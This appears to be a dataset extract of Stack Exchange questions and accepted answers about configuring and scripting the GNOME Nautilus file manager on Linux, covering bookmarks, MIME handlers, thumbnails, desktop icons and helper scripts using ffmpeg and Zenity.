date
int64
1,220B
1,719B
question_description
stringlengths
28
29.9k
accepted_answer
stringlengths
12
26.4k
question_title
stringlengths
14
159
1,291,124,878,000
Nautilus is taking up 450 MiB according to System Monitor (Ubuntu 10.04). $pmap <PID of Nautilus> ... total 1578276K Is pmap reporting 1.5 GiB of memory here? I'm trying to find out what's taking up the 450 MiB so I can deduce what I'm doing wrong, or where the problem lies.
There's no simple notion of how much memory is used by a program. The output of pmap describes all the virtual memory that's mapped by a process. Mapped means that the process can access that data through a pointer, without issuing any further command to load data or request access. Mapped virtual memory isn't always in RAM: it can be swapped out, and it can be in a file. For example, all the shared libraries that are used by a program are mapped in each process that uses them, but (for the most part) only one copy is kept in RAM for the whole system, and that copy need not be fully loaded in memory (parts that are required will be loaded from the disk file on when needed). The 1.5GB figure includes all of the process's code, static data, shared memory and own data. It's not a very meaningful figure. pmap is a simple reformatting of /proc/$pid/maps. Understanding Linux /proc/id/maps explains what the columns mean. The 450MB figure is (I think) the process's resident set, that is, the non-shared memory that is currently in RAM. This includes both data that belongs only to the process (and which may get swapped out), and files that the process has opened for writing (disk buffers, which may be evicted to be reloaded later from the file). You won't easily be able to break down the 450MB memory further. This is a job for the program's author, with debugging tools.
Impossible pmap results
1,291,124,878,000
I've I have some scans of sensitive documents in image format such as jpg png etc. When I open up the folder containing them which is in a truecrypt file, will nautilus create a temporary version of the scan or even a thumbnail of the scan on the computer which the file was opened on?
TrueCrypt won't, but I don't know about Nautilus. If you want to make sure, check all the files that have been modified during your session: find /tmp /var/tmp ~/ -type f -mmin 42 where 42 is the number of minutes you've been logged in (the last command might help if you didn't check the time). You can search for image specifically: find /tmp /var/tmp ~/ -type f \( -name '*.jpg' -o -name '*.png' \) -mmin 42 Of course, if you don't trust the administrators of the computer, you'll never know if they secretly keep a copy of every file that's been on the machine ever.
Does truecrypt leave behind temporary files
1,291,124,878,000
I use mostly command line tools, but sometimes browsing a directory tree is more easy using GUI. In PCManFM I could use the arrow keys to walk the tree and left arrow and right arrow would open a closed tree node (as did explorer on Windows XP). Nautilus requires to use Return to open a directory if selected (using up and down) and I have not found a way to close using a key. Is there a way to configure nautilus so I can do all navigation, in the left pane tree, with the arrow keys instead of using the mouse?
You can use the Shift key together with arrow keys to navigate through Nautilus. Shift+← closes a unfolded directory (but does not go up the tree) Shift+→ opens a folded directory (but does not enter) Using Alt with the left and right arrow keys walks through the history of accessed directories, but it does not do any folding/unfolding of the tree (and is always confusing me).
navigating nautilus tree using arrow keys
1,291,124,878,000
I am using Ubuntu 10.04. Sometime back after an update, all files in Ubuntu started showing a mime type of text/plain. This means that double clicking on any file opened it using gvim which is really annoying. How do I get Nautilus to recognize mime types based on file extension? Thanks,
After some poking around I found the answer and everything is back to normal. All I had to do was sudo update-mime-database /usr/share/mime
Fixing mime type on Ubuntu
1,291,124,878,000
I am a sysadmin, and would like to add a location to nautilus "Places" or Bookmarks across all of my users. I am running Debian jessie, with GNOME classic. I have looked at user-dirs.defaults, but it seems that I can only remove what is already there, and not add anything new. Any help would be appreciated.
Create a temp user, write in the bookmarks.If you want to change some things in the tweak tool you can do that too. Then move the ~/.config folder to /etc/skel. Execute this code so that all user's have the same bookmarks and tweak tool configuration. for i in `ls /home`; do su $i -c "echo $i"; if [ $? -eq 0 ]; then echo ok; cp -r /etc/skel /home/$i/; cp -r /home/$i/skel/.* /home/$i/; rm -r /home/$i/skel; fi; done This will also make sure new users have the same configs.
Adding to Nautilus places
1,566,001,921,000
Debian 10 (Buster) uses GNOME 3.30, which again can use icons on the desktop. To achieve this, I understand that one needs to make a setting that GNOME uses Nautilus to manage the desktop. I searched in dconf-editor, Optimierungen and Einstellungen (no idea what they're called in English), bus was unable to find such a setting. Where can I find this?
You’ll find the relevant setting using dconf-editor, in org.gnome.desktop.background, as show-desktop-icons: The setting doesn’t work for me though, so I’m still using the Desktop Icons extension.
Use desktop icons in Debian 10
1,566,001,921,000
I've been working hours on this problem. When nautilus file manager is NOT running nautilus is running because it controls icons on the desktop. $ ps -aux | grep nautilus | grep -v grep rick 5613 0.2 1.7 2355392 140012 pts/19 Sl+ 19:04 0:08 nautilus So use this command without nautilus file manager open and you see: $ ps -L -p 5613 -o pid,nice,lwp,comm PID NI LWP COMMAND 5613 0 5613 nautilus 5613 0 5614 gmain 5613 0 5615 gdbus 5613 0 5617 dconf worker Now open up nautilus file manager and redo ps command: $ nautilus $ ps -L -p 5613 -o pid,nice,lwp,comm PID NI LWP COMMAND 5613 0 5613 nautilus 5613 0 5614 gmain 5613 0 5615 gdbus 5613 0 5617 dconf worker 5613 0 4788 pool Close the nautilus files window and rerun the command (after waiting a second or two) and the pool disappears. Is this the correct way of seeing if nautilus file manager is running? I've incorporated above technique into an answer in Ask Ubuntu I'd like to improve if possible: How can I automatically relaunch nautilus if I quit the program?
The best way to check whether there are any Nautilus windows open is to check for them on the session D-Bus: gdbus introspect --session --dest org.gnome.Nautilus \ --object-path /org/gnome/Nautilus --recurse | awk '/^ *node /{print $2}' This will show window entries under /org/gnome/Nautilus/window if there are any open windows; so gdbus introspect --session --dest org.gnome.Nautilus \ --object-path /org/gnome/Nautilus --recurse | grep -q '^ *node /org/gnome/Nautilus/window/' will succeed if there are any open windows, fail otherwise.
Best way to check if Nautilus File Manager is running?
1,566,001,921,000
Nautilus is not the file manager anymore in Elementary OS Luna - or it has change name to Pantheon-files. Cannot find its settings. How to see invisible items?
Just press Ctrl + H. I found this on the following page, titled: elementaryupdate. excerpt INSTALL To install, download the following file, extract it, and move it to ~/.icons. The folder, .icons, is a hidden folder inside of your home directory. You can show hidden folders by pressing CTRL+H inside of the Files application.
How to see invisible items in Elementary OS Luna?
1,566,001,921,000
Is there a way to open "Nautilus" (in Debian/Ubuntu) at the window "+ Other Locations" from command-line Neither manual nor --help states anything about such
$ nautilus other-locations:///
Open Nautilus at "+ Other Locations" from terminal
1,566,001,921,000
The idea is to be able to create a shortcut from context menu in order to access an application or even an internet link. The gnome-desktop-item-edit (as indicated here) depends on the gnome-panel package that is not available on all systems. Is there another way?
Create a new template file for a launcher As indicated here, the ~/Templates folder can be used to add new options under the context menu 'New document'. So: gedit ~/Templates/New Launcher.desktop with this content: [Desktop Entry] Type=Application Name= Icon= Categories=System;Settings; Exec= Terminal=false Open it as text, fill the different lines as desired and save. For an internet link, write something like Exec=firefox <your link>. Then, double click it and select "Trust and launch" to see the proper name.
Add 'Create launcher' to Nautilus context menu (without `gnome-desktop-item-edit`)
1,566,001,921,000
First time Ubuntu Gnome user here! For some reason, "Files" (Nautilus?) will no longer open from the dock. When I click on "Files", nothing happens at all. However, when I run nautilus . from terminal, I receive the following: (nautilus:12419): Gtk-WARNING **: Failed to register client: GDBus.Error:org.freedesktop.DBus.Error.ServiceUnknown: The name org.gnome.SessionManager was not provided by any .service files Initializing nautilus-dropbox 2.10.0 Nautilus-Share-Message: Called "net usershare info" but it failed: Failed to execute child process "net" (No such file or directory) Error loading document: Error opening file: Permission denied (nautilus:12419): GnomeDesktop-WARNING **: Unable to create loader for mime type application/pdf: Unrecognized image file format (nautilus:12419): GnomeDesktop-WARNING **: Error creating thumbnail for file:///usr/bin/fix-qdf: Unrecognized image file format ^[[Aroot@JW-UBUNTU:/usr/bin# nautilus . (nautilus:12445): Gtk-WARNING **: Failed to register client: GDBus.Error:org.freedesktop.DBus.Error.ServiceUnknown: The name org.gnome.SessionManager was not provided by any .service files Initializing nautilus-dropbox 2.10.0 Nautilus-Share-Message: Called "net usershare info" but it failed: Failed to execute child process "net" (No such file or directory) Unfortunately, this is a bit above me for the moment. Can anyone shed some light on this?
Still unsure as to the exact cause of this, but 'solved' my problem by doing killall nautilus, then clicking on "Files" again.
"Files" (Nautilus) not opening from dock
1,566,001,921,000
I often find myself in trouble when I try to edit configuration files from the ~/.config/ folder. I expect any change I make to them to be effective, at least after restarting the application or having logged out/inagain. But they sometimes don't. Here for example, I try to edit ~/.config/nautilus/accels, changing the line: ; (gtk_accel_path "<Actions>/DirViewActions/Trash" "<Primary>Delete") by: ; (gtk_accel_path "<Actions>/DirViewActions/Trash" "Delete") After I close Nautilus, then restart it, or log out-then-in, the "Delete" key stil doesn't do anything. More disturbing, the output of head ~/.config/nautilus/accels is: ; nautilus GtkAccelMap rc-file -*- scheme -*- ; this file is an automated accelerator map dump ; ; (gtk_accel_path "<Actions>/DirViewActions/Start Volume" "") ; (gtk_accel_path "<Actions>/DirViewActions/Trash" "<Primary>Delete") ; (gtk_accel_path "<Actions>/DirViewActions/Save Search" "") ; (gtk_accel_path "<Actions>/DirViewActions/Location Poll" "") ; (gtk_accel_path "<Actions>/DirViewActions/Set As Wallpaper" "") ; (gtk_accel_path "<Actions>/DirViewActions/New Folder with Selection" "") ; (gtk_accel_path "<Actions>/ShellActions/Tab9" "<Alt> just like I hadn't done anything! This means to me that some information is stored elsewhere in some way. What should I do, after having edited a file in ~/.config/, to make the changes effective?
; starts a comment. So a line starting with ; is ignored. And probably nautilus overwrites the config file at close. So you should stop nautilus, delete the ; and start nautilus again.
Syntax of GTK applications' configuration files in ~/.config
1,566,001,921,000
I have a directory called Pages of 2.2 million HTML files (about 80 GB) on an Ubuntu server. I compressed it with 7-Zip using this command: 7z a -mx=9 Pages.7z Pages It took around 5-6 hours to compress (seems excessive). Compressed size is about 2.3 GB. I then downloaded it to my main computer (Ubuntu, Intel® Xeon® CPU E5-1650 v2 @ 3.50GHz). Every time I try to extract, it starts off at disappointing, but acceptable speed, but slows down to a crawl as it gets further along (ran overnight and when I woke up it was doing about 300 files per minute). However, on my Windows machine (Intel® Xeon® CPU E5-2687W @ 3.10GHz 3.10 GHz, which is only a slightly better machine, I extracted the entire directory in 15-20 minutes. It also clearly made use of multiple processors, which I can't get 7-Zip to do on Ubuntu. Obviously I can't have an extraction take several days, nor should I. My sense is this has to do with something I don't know about Ubuntu (I'm a recovering Windows user) or my file system rather than 7-Zip. Any help would be tremendously appreciated. My main computer uses ext4 file system, and the version of 7-Zip I have is 9.20: 7-Zip [64] 9.20 p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,12 CPUs) Update: I should clarify that I actually have one drive on my main Ubuntu installation that is ext4 (my ssd), though I have another one that is ntfs (I think I remember this being recommended by Ubuntu during installation, perhaps b/c I set it up as a raid array). The problem of slowing down over time was happening regardless of which I was working from. Following advice in the comments, I used my Windows machine to unzip the compressed file, restructure the directory with 4096 subdirectories, and re-zip it (though this time I used the default compression level rather than maximum, and specified lzma2). I then transferred it to my Ubuntu machine (the ext4 SSD specifically) and unzipped. It worked perfectly as I would expect - very fast. However, as another commenter noted, part of the problem here is likely just that my drives on the Ubuntu machine are not indexed (they are on Windows), and I might not have to restructure directories at all if I do index (which I've been wanting to do anyway). I'm currently trying to figure out how to do that successfully and safely...and will report back with any useful results. I've also tried restructuring a directory already on my Ubuntu machine using python, which is going unreasonably slow. Perhaps it's a python issue rather than Linux/ext4/ntfs or perhaps it also has to do with indexing, or perhaps it is b/c the source directory has 2.2 million files in one directory...: for fileName in series: if not os.path.exists('[...]/Pages2/' + fileName[:3] + '/' + fileName): shutil.copy('[...]/Pages/' + fileName, '[...]/Pages2/' + fileName[:3] + '/' + fileName)
I finally figured out the actual answer when I read the wikipedia entry for XZ (https://en.wikipedia.org/wiki/Xz): One can think of xz as a stripped-down version of the 7-Zip program. xz has its own file format rather than the .7z format used by 7-Zip (which lacks support for Unix-like file system metadata[2]). It is in fact okay to have millions of small files in a single directory, it would seem, on either NTFS or EXT-4 with Ubuntu (perhaps not advisable for other reasons however). There was also nothing wrong with the indexing on my file systems. The reason 7zip slows down when trying to extract a massive directory has everything to do with the writers of 7zip not caring much about Linux/Unix users. This does half make me wonder whether whoever wrote Nautilus is similarly contemptuous of Linux users...b/c it really doesn't like directories with lots of files either, whereas Windows Explorer has no problems with it.
7-Zip slows down over time on Ubuntu but not Windows
1,566,001,921,000
On my Pop!_OS machine (Ubuntu derivative) I sometimes use the full-screen mode in browsers to focus more using the F11 key. Now, running macOS as a VM via sosumi, I'm in the need of making that QEMU window fullscreen, but F11 won't do the work. I noticed that I also can't make Nautilus (file manager) fullscreen with F11. Is there something I could use to make that window fullscreen?
It sounds like F11 is a shortcut that your browser provides by default, not Pop!_OS. I just tested this in a Pop!_OS VM with Firefox and that seemed to be the case. You should be able to add a keyboard shortcut for 'Toggle fullscreen mode' by following the guide here on System76's site. In short: Open Settings Click "Keyboard" on the left sidebar Under Keyboard Shortcuts, click "Customize Shortcuts" Search for "Toggle fullscreen mode"; it should say "Disabled" at the right. Click the three dots again and click "Add shortcut" Press the desired key combination for fullscreen, then click "Set". Test out the new shortcut in Nautilus and QEMU.
Pop!_OS make windows fullscreen (not F11)
1,566,001,921,000
Is there any file browsers for Linux that cache image previews, just like Windows Explorer cache them to a file named Thumbs.db? As in the latest ext3/4 filesystems, an inode can hold extended attributes, is it utilizied by any file browser? Well, the default 256B inode size may be too small to hold the preview, I can reformat it to get a bigger inode. I'll be very glad to hear good news, because to refresh the previews for large images and video files are very slow in Nautilus, and noises from the harddisks ..
Nautilus uses ~/.thumbnails normally. Lots of image viewers do generate thumbs there as well. In the normal sub-dir of my system most of the preview files are about 20 KiB in size. It's kinda disturbing that there're no either sqlite database in single file or cache hierarchy (like f/ff/ffdcd558a…1e5200.png) so some FSes could have poor performance looking up a file inside overgrown directory, though, but on the other hand, plain file storage is way simpler to handle inside bunch of different user programms, no mandatory demanding sqlite to be installed and most up-to-date FSes shouldn't have troubles with such plain files layout. Problems with xattr resemble sqlite's ones — extra complexity, limitations of FS support (according to wikipedia only ReiserFS and XFS handle arbitrary sizes, and EXT3,4 are limited to one block only which would mean 4 KiB mostly).
How to utilize extended attributes for image preview?
1,566,001,921,000
The problem described below appears sometimes when a folder is opened from context menu with an option similar to "Open with" - "Other application" What happens is that the program selected in this way (and which after that is already available under "Open with" context menu for selected folder) takes over the file manager function in different other applications, like Firefox, Chromium, uGet, Calibre, etc, which have options similar to 'Open containing folder'. Not all programs selected in this way trigger the problem (from what I've seen, namely qmmp, Decibel audio player, Easytag, Atom text editor are some of those). - Also, not all applications mentioned as affected by the problem (Firefox, etc) are to be affected at the same time. In the past I have often seen this in Firefox, but last time Firefox was not affected but uGet and Calibre were.) This problem is frequently reported on Linux sites like this, for example: "Open Containing Folder" not using the file manager Set standard file browser for "open containing folder" Stop folders opening with different application than the file manager “Open containing folder” in Firefox does not use my default file manager What happens is that the program in question becomes the first to appear in /usr/share/applications/mimeinfo.cache after inode/directory=. This doesn't cause automatically the problem reported in the linked questions, I have a system (elementaryOS Loki) where the file manager is listed there last without any problems, but in another Linux (Manjaro) the file manager has to be listed first, like (for Nemo) inode/directory=nemo.desktop;decibel-audio-player.desktop;au‌​dacious.desktop;. But how to open a folder in a such program without this kind of conflicts with the file manager? I'm creating this question in order to provide the answer. UPDATE: As indicated in a comment by don_crissti under my initial answer: if the problem is triggered automatically after installing a certain program (in my case Decibel), it will re-appear even after correcting the file /usr/share/applications/mimeinfo.cache when a new installation or an update by the command update-desktop-database. (I will add te suggested solution to the answer too.)
The idea is to already have the needed programs in the 'Open with' context-menu for a selected folder without the need to select "Other application". Editing the line inode/directory= in /usr/share/applications/mimeinfo.cache is not useful because, as indicated in a comment by don_crissti, the problem re-appears after an update or a program install because of the command update-desktop-database. In fact only some programs will take over the file manager role as indicated by the question, but those that do will in some cases take over directly, simply after their installation, and will do again after update-desktop-database. As suggested here by the aforementioned user, you need to edit ~/.local/share/applications/mimeapps.list like: [Default Applications] inode/directory==nemo.desktop;audacious.desktop;deadbeef.desktop;vlc.desktop In another system (Cinnamon Manjaro, where there is no mimeapps.list in usr/share/applications, only mimeinfo.cache and seems non-freedesktop-complient) the file to use is ~/.local/share/applications/mimeinfo.cache with a content like [MIME Cache] inode/directory==nemo.desktop;audacious.desktop;deadbeef.desktop;vlc.desktop It is essential to put the file manager first and then the programs to add to the 'open with' context menu. For example, the above will give
How to avoid a program taking over the file manager when opening a folder in that program from context menu
1,566,001,921,000
When I follow the steps in [https://askubuntu.com/questions/138908/how-to-execute-a-script-just-by-double-clicking-like-exe-files-in-windows] I used to get a dialog box asking whether I wanted to execute the shell script or edit it using gedit. I just reinstalled Ubuntu Linux 16.04 with a LiveCD and ran sudo apt-get install mono-complete. Now , when I double click the shell script in Ubuntu 16.04 Nautilus I only can edit the shell script file. The contents of this shell script are: #!/bin/bash exec /usr/bin/mono-service.exe ./AudioRecorder.exe "$@". as specified in [http://www.mono-project.com/archived/guiderunning_mono_applications/] Why is this problem occuring and how do we fix it so double click the shell script in Nautilus asks me if want to execute the shell script file? Any help is greatly appreciated.
First of all, /usr/bin/mono-service.exe does not exist. Next, according to your posted link. Your script should read something like this: #!/bin/sh /usr/bin/mono /usr/lib/mono/4.5/mono-service.exe ./AudioRecorder.exe "$@" or #!/bin/sh /usr/bin/mono-service ./AudioRecorder.exe "$@" or #!/bin/bash mono ./AudioRecorder.exe "$@" or #!/bin/sh /usr/bin/mono ./AudioRecorder.exe "$@" However, these will only work if the exe file is in your home folder and ideally should include the actual path to the exe file such as the following if the exe file is in your home folder: #!/bin/sh /usr/bin/mono /usr/lib/mono/4.5/mono-service.exe ~/AudioRecorder.exe "$@" or #!/bin/sh /usr/bin/mono-service ~/AudioRecorder.exe "$@" or #!/bin/bash mono ~/AudioRecorder.exe "$@" or #!/bin/sh /usr/bin/mono ~/AudioRecorder.exe "$@" Alternatively, if the file is in your Downloads folder: #!/bin/sh /usr/bin/mono /usr/lib/mono/4.5/mono-service.exe ~/Downloads/AudioRecorder.exe "$@" or #!/bin/sh /usr/bin/mono-service ~/Downloads/AudioRecorder.exe "$@" or #!/bin/bash mono ~/Downloads/AudioRecorder.exe "$@" or #!/bin/sh /usr/bin/mono ~/Downloads/AudioRecorder.exe "$@"
Double Click Shell Script in Ubuntu 16.04 Nautilus only gives the user option to edit the shell script file
1,566,001,921,000
I am writing an application that needs to be able to parse a path that is dragged from a remote server onto the command line. However, when I drag a path from a remote machine to the terminal I get something that looks like the following: /home/user/.gvfs/sftp for Name on server-alias/the/full/path/is/here.file. I would like just /the/full/path/is/here.file to be parsed. I was wondering if there's a setting I can tweak to prevent this extra path prefix (preferable) or if there's some built in functionality somewhere in linux to do this. I can of course use regexs to parse this, but I would like to avoid that if possible. I'm on ubuntu 10.04 LTS.
You might want to take a look at this tutorial titled: Scripting the Linux desktop, Part 2: Scripting Nautilus, which discusses how to add your own items to Nautilus' right click context menu as well as which variables Nautilus provides you when manipulating/dragging objects around inside of it. example Variables presented in Nautilus. Environment variable Description -------------------- ----------- NAUTILUS_SCRIPT_SELECTED_FILE_PATHS Newline-delimited paths for selected files (only if local) NAUTILUS_SCRIPT_SELECTED_URIS Newline-delimited URIs for selected files NAUTILUS_SCRIPT_CURRENT_URI The current location NAUTILUS_SCRIPT_WINDOW_GEOMETRY The position and size of the current window In Python, you obtain the value of these variables with a single call to the os.environ.get function as follows: selected = os.environ.get('NAUTILUS_SCRIPT_SELECTED_FILE_PATHS,'')
Parse a dragged path from a remote machine
1,566,001,921,000
I have xdg users configured manually, in ~/.config/user-dirs.dirs I have: XDG_DESKTOP_DIR="$HOME/Desktop" XDG_DOWNLOAD_DIR="$HOME/Various" XDG_TEMPLATES_DIR="$HOME/Templates" XDG_PUBLICSHARE_DIR="$HOME/" XDG_DOCUMENTS_DIR="$HOME/Papers/" XDG_MUSIC_DIR="/Misc/Musics/" XDG_PICTURES_DIR="$HOME/Pictures" XDG_VIDEOS_DIR="/Application/Videos/" But nautilus just don't show the Desktop folder, How should I fix that ?
In GNOME 3, Nautilus no longer manages the DESKTOP. In other words, there is no DESKTOP hence XDG_DESKTOP_DIR is meaningless to Nautilus. You'll have to re-enable the DESKTOP in order to have it among other Nautilus bookmarks in the side pane, either through Gnome-tweak-tool: Have file manager handle the desktop [ON] or, in terminal: gsettings set org.gnome.desktop.background show-desktop-icons true gsettings set org.gnome.desktop.background draw-background true
I don't have a "Desktop" bookmark in nautilus, but in Thunar?
1,566,001,921,000
(GNOME2, Ubuntu 10.04 LTS) I've made a nautilus script, so that if I have a directory full of various codecs, then I just need to right click in that folder -> Scripts -> THISSCRIPT.txt, then presto, it recursively converts all the video files (identified by video mimetype) to x.264 codec with 128 Kbit mp3 to avi. So that they will have small size+good quality. This works, great! QUESTION: If I press "Cancel" on the Zenity progress bar, then the mencoder doesn't terminates.. How can I do this? I mean I need that If I press "Cancel" on the Zenity progress bar, it would terminate mencoder. How to do this? #!/bin/bash which mencoder > /dev/null 2>&1; if [[ $? -ne 0 ]]; then echo -e '\nerror, no mencoder package detected'; exit 1; fi which zenity > /dev/null 2>&1; if [[ $? -ne 0 ]]; then echo -e '\nerror, no zenity package detected'; exit 1; fi HOWMANYLEFT=0 find . -type f | xargs -I {} file --mime-type {} | fgrep "video/" | rev | awk 'BEGIN {FS="/oediv :"} { print $NF}' | rev | while read ONELINE do if file "$ONELINE" | egrep -qvi "x.264|h.264" then echo $ONELINE fi done | sed 's/^.\///' | tee /tmp/vid-conv-tmp.txt | while read ONELINE do HOWMANY=`wc -l /tmp/vid-conv-tmp.txt | cut -d " " -f1` mencoder "$ONELINE" -o "OK-$ONELINE.avi" -ovc x264 -x264encopts bitrate=750 nr=2000 -oac mp3lame -lameopts cbr:br=128 > /dev/null 2>&1 HOWMANYLEFT=`expr $HOWMANYLEFT + 1` echo "scale=10;($HOWMANYLEFT / $HOWMANY) * 100" | bc | cut -d "." -f1 done | zenity --progress --text="Processing files ..." --auto-close --percentage=0
You need to use the --auto-kill option.. I've re-vamped the script a bit (I like your thinking-out-of-the-square use of rev, but there are other ways :) ...Here is one. I've used yad instead of zenity. It is a fork of zenity, and the commands are basically the same. From what I've read, yad is being more actively developed and has more features (and this was a good chance for me to play with it). The --auto-kill option works with both zenity and yad. As well as showing the percentage, the script shows a count of so-many (eg. 3 of 8) plus the current file's name. The percentage calculation uses awk(only because I'm comfortable with its syntax) .. Re your specific question, just --auto-kill should be enough. for p in mencoder yad ;do which $p >/dev/null 2>&1 || { echo -e '\nerror, no $p package detected'; exit 1; } done list="$(mktemp)" find . -type f -print0 | # -print0 caters for any filename xargs --null file --print0 --mime-type | sed -n 's|\x00 *video/.*|\x00|p' | tr -d $'\n' | xargs --null file --print0 | sed -nr '/\x00.*(x.264|h.264)/!{s/^\.\///; s/\x00.*//; p}' >"$list" # At this point, to count how many files there are to process, break out of the pipe. # You can't know how many there are until they have all passed through the pipe. fct=0; wcfct=($(wc "$list")); while IFS= read -r file ;do ((fct+=1)); pcnt=$(awk -v"OFMT=%.2f" "BEGIN{ print (($fct-1)/$wcfct)*100 }") echo "# $pcnt%: $fct of $wcfct: $file"; echo $pcnt mencoder "$file" -o "OK-$file.avi" -ovc x264 -x264encopts bitrate=750 nr=2000 -oac mp3lame -lameopts cbr:br=128 >/dev/null 2>&1 done <"$list" | yad --title="Encoding Progress" --progress --geometry +100+100 --auto-close --auto-kill rm "$list"
Terminate script using zenity progress bar
1,566,001,921,000
I'm getting used to Fluxbox and it is great... I configured everything (icons, keys...) but I have this problem... I can't manage to put my Netowork places and Computer icons on desktop because I don't know their location in folder hierarchy. I supposed they are handled by Nautilus (I use Fedora 15, gnome 3 env.) and I use this workaround by starting nautilus (without the --no-desktop flag) and I get these icons on desktop... but I was wondering is there a way to integrate these into fluxbox Idesk desktop?
no. there is no "fluxbox idesk desktop". they are separate programs (even projects). so, using nautilus is not a workaround, it is the way to achieve this.
How to put Network places and My computer icon on Fluxbox desktop
1,566,001,921,000
I am using Fedora 14 (Laughlin) with GNOME 2.32.0. I have gconf-editor installed. In gconf-editor apps->nautilus->preference confirm_trash is enabled i.e., checked, also in nautilus file browser, home folder, Edit->Preference->Behaviour "Ask before emptying the Trash or deleting files" is checked. But I am not getting any confirm box while deleting any file or folder. I googled for the solution but came up with nothing. Is this a Bug? Is it solvable? Thank you.
Moving a file to Trash does not delete the file - it simply stores it in a folder named "Trash" - you can retrieve files moved there so you don't get a prompt checking if you want to delete them when moving them there (as you are simply storing them somewhere else in the filesystem, not deleting them). By selecting "Ask before emptying Trash or deleting files" you are setting a prompt when you actually delete them, either by emptying the trash, or by selecting the file and hitting ShiftDelete. So, no - it's not a bug, it's a feature.
Move to trash confirm box
1,566,001,921,000
I have a nautilus script that generates an archive file based on the files selected in the nautilus window. This archive file is created in the /tmp directory. I want a way to copy this file to the clipboard from the script, so that the user can just go to desktop or home directory and paste it. I have tried doing this with xclip and xsel, but they don't seem to replicate a file copying operation, rather they copy the contents of a file. xclip -in -selection c generated-archive echo -n generated-archive | xsel --clipboard --input Neither of them do what I need. So, I want to know if this is possible, and if it is, how should I go about it? Thanks.
It seems that Nautilus keeps track of it's internal state with respect to changes to the clipboard, which means that any change of state to the clipboard (including replacement with an identical filepath string) automatically cancels the paste pending state, hence nothing happens when an externally loaded clipboard contains a valid filepath... Nautilus only recognizes a file copy/cut which has been initiated from within Nautilus itself. This is exactly what you have observed.. with perhap some explanation as to why... I noticed in the Nautilus source 'cut-n-paste-code' that it contains a lot about about saved states. # In Nautilus, manually "copy" a file (to the clipboard) using Ctrl+C xsel -ob |xxd # hex-display clipboard contents of the clipboard echo "### At this point, Nautilus **paste** works." read # pause xsel -ob |xsel -ib # Replace clipboard with itself xsel -ob |xxd # hex-display clipboard contents again echo "### At this point, Nautilus **paste** does NOT work." After your manually copy/cut, you can perform endless actions (either in Nautilus or elswhere) and the Ctrl+V paste in Nautilus will work, but as soon as you modify the clipboard, it won't 'paste'...
Copy a file from a nautilus-script to clipboard
1,566,001,921,000
I have little background in programming and need to create a batch to extract the audio of multiple video files. Execution is done through the context menu in Nautilus/Gnome Files, stored in Nautilus' scripts folder as a bash .sh. The following code works for 1 file, but when selecting multiple files it doesn't. Could someone please help me modify the code to make it work. #!/bin/bash FILENAME=$(echo $NAUTILUS_SCRIPT_SELECTED_FILE_PATHS | sed -e 's/\r//g') FILENAME2=$(echo "$FILENAME" | cut -f 1 -d '.') ffmpeg -i "${FILENAME}" -vn -acodec pcm_s16le -ac 2 -ar 48000 "${FILENAME2}".wav # finished message box zenity --info --title "Procesing completed" --text "${FILENAME2}.wav at 48kHz has been generated." --width=700
Use this script, cannot test it with ffmpeg but it should work. #!/bin/bash { readarray FILENAME <<< "$(echo -e "$NAUTILUS_SCRIPT_SELECTED_FILE_PATHS" | sed -e 's/\r//g')" echo -e "Logs: $(date)\n" > ~/Desktop/data.txt for file in "${FILENAME[@]}"; do file=$(echo "$file" | tr -d $'\n') echo "Current file: $file" >> ~/Desktop/data.txt ffmpeg -i "$file" -vn -acodec pcm_s16le -ac 2 -ar 48000 "${file%.*}.wav" zenity --info --title "Procesing completed" --text "${file%.*}.wav at 48kHz has been generated." --width=700 done } 2>~/Desktop/ffmpeg.logs The code above will print a message with zenity each time a mp4 is processed. But if you want to display the message when all files are processed then you can use this script: #!/bin/bash { readarray FILENAME <<< "$(echo -e "$NAUTILUS_SCRIPT_SELECTED_FILE_PATHS" | sed -e 's/\r//g')" echo -e "Logs: $(date)\n" > ~/Desktop/data.txt for file in "${FILENAME[@]}"; do file=$(echo "$file" | tr -d $'\n') echo "Current file: $file" >> ~/Desktop/data.txt ffmpeg -i "$file" -vn -acodec pcm_s16le -ac 2 -ar 48000 "${file%.*}.wav" done zenity --info --title "Procesing completed" --text "$( printf "%s.wav\n" "${FILENAME[@]%.*}") at 48kHz has been generated." --width=700 } 2>~/Desktop/ffmpeg.logs I suggest you use this script. Because is able to detect what files failed and what were generated successfully: #!/bin/bash { readarray FILENAME <<< "$(echo -e "$NAUTILUS_SCRIPT_SELECTED_FILE_PATHS" | sed -e 's/\r//g')" echo -e "Logs: $(date)\n" > ~/Desktop/data.txt okFiles=() errFiles=() for file in "${FILENAME[@]}"; do file=$(echo "$file" | tr -d $'\n') echo -e "\n===========================" >> ~/Desktop/data.txt echo "Current file: $file" >> ~/Desktop/data.txt ffmpeg -i "$file" -vn -acodec pcm_s16le -ac 2 -ar 48000 "${file%.*}.wav" && { okFiles+=("${file%.*}.wav") : } || { errFiles+=("${file%.*}.wav") } done if [[ ${#okFiles[@]} -gt 0 ]]; then zenity --info --title "Procesing completed" --text "$(printf '%s\n' ${okFiles[@]})\n at 48kHz have/has been generated." --width=700 fi if [[ ${#errFiles[@]} -gt 0 ]]; then zenity --info --title "Error while processing some files" --text "Following files:\n$(printf "%s\n" "${errFiles[@]}")\ncould not be generated." --width=700 fi } 2>~/Desktop/ffmpeg.logs About: { code code } 2>~/Desktop/ffmpeg.logs I used that to be able to detect what fails when you are processing every file. For example, if in some file ffmpeg throws an error you will be able to check the logs inside the path ~/Desktop/ffmpeg.logs Btw, if you want every file processed to be located on specific path and not where you call the script you can do something like this (before readarray): { cd ~/Audios/path/to/dir #the path you want can be placed here readarray ... code } 2>~/Desktop/ffmpeg.logs Finally, you can notice that FILENAME2 is no longer needed, because I use "${file%.*}.wav" instead (see bash parameter expnasion).
Nautilus Script for multiple files (ffmpeg)
1,566,001,921,000
It seems that GNOME 43 removed the ability to adjust the width of the left sidebar in Nautilus (named Files now, apparently?) by dragging the border. Does anyone know a workaround for this? I'd like to make it wider than the default. The org.gnome.nautilus.window-state.sidebar-width property in dconf doesn't do anything anymore, it's mentioned in this old answer from 2013. I also checked out org.gnome.file-roller.ui.sidebar-width in dconf, but that key also appears to be unused. For these two keys, Dconf Editor shows the message: "No schema available. A schema is what describes the use of a key, and Dconf Editor can't find one associated with this key. If the application that was using this key has been uninstalled, or if this key is obsolete, you may want to erase it." This implies to me that the sidebar width used to be adjustable through dconf but not longer is and the keys (or at least org.gnome.nautilus.window-state.sidebar-width) still exist but aren't used anymore.
